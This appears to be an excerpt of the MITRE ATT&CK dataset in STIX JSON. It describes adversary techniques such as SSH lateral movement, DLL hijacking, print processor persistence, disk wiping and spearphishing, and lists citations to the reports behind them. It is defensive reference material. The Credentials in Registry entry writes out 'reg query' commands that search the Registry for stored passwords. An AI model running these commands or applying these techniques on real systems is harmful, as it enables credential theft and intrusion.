                    "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
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                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
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                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
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            "name": "SSH",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
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                    "phase_name": "lateral-movement"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1098/003",
                    "external_id": "T1098.003"
                },
                {
                    "source_name": "Expel AWS Attacker",
                    "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
                    "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
                },
                {
                    "source_name": "Microsoft O365 Admin Roles",
                    "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
                },
                {
                    "source_name": "AWS IAM Policies and Permissions",
                    "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
                },
                {
                    "source_name": "Google Cloud IAM Policies",
                    "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/iam/docs/policies"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
                    "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
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                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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            "modified": "2025-10-24T17:48:35.082Z",
            "name": "Additional Cloud Roles",
            "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
            "created": "2020-10-05T13:24:49.780Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/012",
                    "external_id": "T1547.012"
                },
                {
                    "source_name": "Microsoft AddPrintProcessor May 2018",
                    "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
                },
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                    "source_name": "Microsoft Intro Print Processors",
                    "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
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                {
                    "source_name": "ESET PipeMon May 2020",
                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                    "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
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            "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
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            "created": "2017-05-31T21:31:07.958Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1089",
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/578.html",
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            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
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            "created": "2019-03-19T19:38:27.097Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1487",
                    "external_id": "T1487"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
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            "modified": "2025-10-24T17:48:35.428Z",
            "name": "Disk Structure Wipe",
            "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
            "kill_chain_phases": [
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                    "phase_name": "impact"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                "Linux"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "created": "2020-03-02T19:05:18.137Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/001",
                    "external_id": "T1566.001"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.2"
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            "type": "attack-pattern",
            "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1214",
                    "external_id": "T1214"
                },
                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
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            "modified": "2025-10-24T17:48:35.620Z",
            "name": "Credentials in Registry",
            "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
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                    "phase_name": "credential-access"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_version": "1.1"
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            "id": "attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97",
            "created": "2022-09-29T18:30:12.244Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/008",
                    "external_id": "T1027.008"
                },
                {
                    "source_name": "intezer stripped binaries elf files 2018",
                    "description": "Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"
                },
                {
                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
                },
                {
                    "source_name": "Mandiant golang stripped binaries explanation",
                    "description": "STEPHEN ECKELS. (2022, February 28). Ready, Set, Go \u2014 Golang Internals and Symbol Recovery. Retrieved September 29, 2022.",
                    "url": "https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Stripped Payloads",
            "description": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "created": "2020-02-12T14:09:53.107Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/001",
                    "external_id": "T1559.001"
                },
                {
                    "source_name": "ProjectZero File Write EoP Apr 2018",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Microsoft COM",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                },
                {
                    "source_name": "Enigma MMC20 COM Jan 2017",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                },
                {
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Component Object Model",
            "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "created": "2020-03-13T18:11:08.357Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/001",
                    "external_id": "T1574.001"
                },
                {
                    "source_name": "Hijack DLLs CrowdStrike",
                    "description": " falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs \u2014 and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/"
                },
                {
                    "source_name": "kroll bpl",
                    "description": "Dave Truman. (2024, June 24). Novel Technique Combination Used In IDATLOADER Distribution. Retrieved January 30, 2025.",
                    "url": "https://www.kroll.com/en/insights/publications/cyber/idatloader-distribution"
                },
                {
                    "source_name": "Sophos",
                    "description": "Gabor Szappanos. (2023, May 3). A doubled \u201cDragon Breath\u201d adds new air to DLL sideloading attacks. Retrieved October 3, 2025.",
                    "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/"
                },
                {
                    "source_name": "Hexacorn DLL Hijacking",
                    "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.",
                    "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/"
                },
                {
                    "source_name": "microsoft remote preloading",
                    "description": "Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"
                },
                {
                    "source_name": "Microsoft - manifests/assembly",
                    "description": "Microsoft. (2021, January 7). Manifests. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/sbscs/manifests?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft redirection",
                    "description": "Microsoft. (2023, October 12). Dynamic-link library redirection. Retrieved January 30, 2025.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"
                },
                {
                    "source_name": "dll pre load owasp",
                    "description": "OWASP. (n.d.). Binary Planting. Retrieved January 30, 2025.",
                    "url": "https://owasp.org/www-community/attacks/Binary_planting"
                },
                {
                    "source_name": "Virus Bulletin",
                    "description": "Suguru Ishimaru, Hajime Yanagishita, Yusuke Niwa. (2023, October 5). Unveiling activities of Tropic Trooper 2023: deep analysis of Xiangoop Loader and EntryShell payload. Retrieved October 3, 2025.",
                    "url": "https://www.virusbulletin.com/conference/vb2023/abstracts/unveiling-activities-tropic-trooper-2023-deep-analysis-xiangoop-loader-and-entryshell-payload/"
                },
                {
                    "source_name": "unit 42",
                    "description": "Tom Fakterman, Chen Erlich, & Assaf Dahan. (2024, February 22). Intruders in the Library: Exploring DLL Hijacking. Retrieved January 30, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/"
                },
                {
                    "source_name": "Wietze Beukema DLL Hijacking",
                    "description": "Wietze Beukema. (2020, June 22). Hijacking DLLs in Windows. Retrieved April 8, 2025.",
                    "url": "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows"
                }
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "DLL",
            "description": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware\u2019s behavior.  Another method implements a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)\n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.",
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                "Hajime Yanagishita, Macnica, Inc.",
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                "Travis Smith, Tripwire",
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                "Will Alexander, CrowdStrike",
                "Yusuke Niwa, ITOCHU Cyber & Intelligence Inc."
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "created": "2017-05-31T21:31:27.985Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1119",
                    "external_id": "T1119"
                },
                {
                    "source_name": "Mandiant UNC3944 SMS Phishing 2023",
                    "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Automated Collection",
            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.",
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            "type": "attack-pattern",
            "id": "attack-pattern--30904c16-39f9-41c6-b01a-500eb8878442",
            "created": "2026-04-14T22:53:28.276Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1689",
                    "external_id": "T1689"
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                {
                    "source_name": "SafeBreach",
                    "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
                    "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
                },
                {
                    "source_name": "CrowdStrike Downgrade attack 2",
                    "description": "Bart Lenaerts-Bergmans. (2023, March 13). What are Downgrade Attacks?. Retrieved April 15, 2026.",
                    "url": "https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/downgrade-attack/"
                },
                {
                    "source_name": "Targeted SSL Stripping Attacks Are Real",
                    "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
                    "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
                },
                {
                    "source_name": "CrowdStrike downgrade attack",
                    "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved April 15, 2026.",
                    "url": "https://www.crowdstrike.com/en-us/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
                },
                {
                    "source_name": "att_def_ps_logging",
                    "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
                    "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
                },
                {
                    "source_name": "Google Cloud downgrade attack",
                    "description": "Nathan Kirk. (2018, June 18). Bring Your Own Land (BYOL) \u2014 A Novel Red Teaming Technique. Retrieved April 15, 2026.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/bring-your-own-land-novel-red-teaming-technique/"
                },
                {
                    "source_name": "Praetorian TLS Downgrade Attack 2014",
